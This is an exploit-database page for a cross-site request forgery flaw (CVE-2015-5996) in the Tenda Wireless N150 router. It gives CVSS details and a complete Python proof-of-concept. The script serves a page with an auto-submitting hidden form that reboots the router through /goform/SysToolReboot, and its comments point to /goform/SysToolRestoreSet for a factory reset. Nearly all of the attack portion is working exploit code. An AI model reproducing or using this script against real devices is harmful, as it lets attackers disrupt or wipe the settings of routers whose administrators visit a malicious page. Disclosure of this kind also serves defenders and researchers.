Home
Bugtraq
Full List
Only Bugs
Only Tricks
Only Exploits
Only Dorks
Only CVE
Only CWE
Fake Notes
Ranking
CVEMAP
Full List
Show Vendors
Show Products
CWE Dictionary
Check CVE Id
Check CWE Id
Search
Bugtraq
CVEMAP
By author
CVE Id
CWE Id
By vendors
By products
RSS
Bugtraq
CVEMAP
CVE Products
Bugs
Exploits
Dorks
More
cIFrex
Facebook
Twitter
Donate
About
Submit
Tenda Wireless N150 Router 5.07.50 Cross Site Request Forgery
2018.07.25
Credit:
Nathu Nandwani
Risk:
Low
Local:
No
Remote:
Yes
CVE:
CVE-2015-5996
CWE:
CWE-352
CVSS Base Score:
6.8/10
Impact Subscore:
6.4/10
Exploitability Subscore:
8.6/10
Exploit range:
Remote
Attack complexity:
Medium
Authentication:
No required
Confidentiality impact:
Partial
Integrity impact:
Partial
Availability impact:
Partial
# Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router) # Date: 2018-07-21 # Exploit Author: Nathu Nandwani # Website: http://nandtech.co # CVE: CVE-2015-5996 # # Description: # # The router is vulnerable to a cross-site request forgery attacker. # If an administrator is currently logged in and visits a # remote webpage containing forms existing in the router's firmware, # a request can be forged to modify existing settings or even # set the router to its default state. # # These are two examples that can work in the proof of concept: # /goform/SysToolReboot - Reboot the router # /goform/SysToolRestoreSet - Set the router to default settings # # Reference: https://www.kb.cert.org/vuls/id/630872 import socket server_ip = "0.0.0.0" server_port = 80 router_ip = "192.168.0.1" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((server_ip, server_port)) sock.listen(1) print "Currently listening at " + server_ip + ":" + str(server_port) client, (client_host, client_port) = sock.accept() print "Client connected: " + client_host + ":" + str(client_port) print "" print client.recv(1000) client.send('HTTP/1.0 200 OK\r\n') client.send('Content-Type: text/html\r\n') client.send('\r\n') client.send(""" <html> <body> <form method="post" id="frmSetup" name="frmSetup" action="http://""" + router_ip + """/goform/SysToolReboot"> <input name="CMD" value="SYS_CONF" type="hidden"> <input name="GO" value="system_reboot.asp" type="hidden"> <input name="CCMD" value="0" type="hidden"> </form> <script> document.getElementById("frmSetup").submit(); </script> </body> </html> """) client.close() sock.close()
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top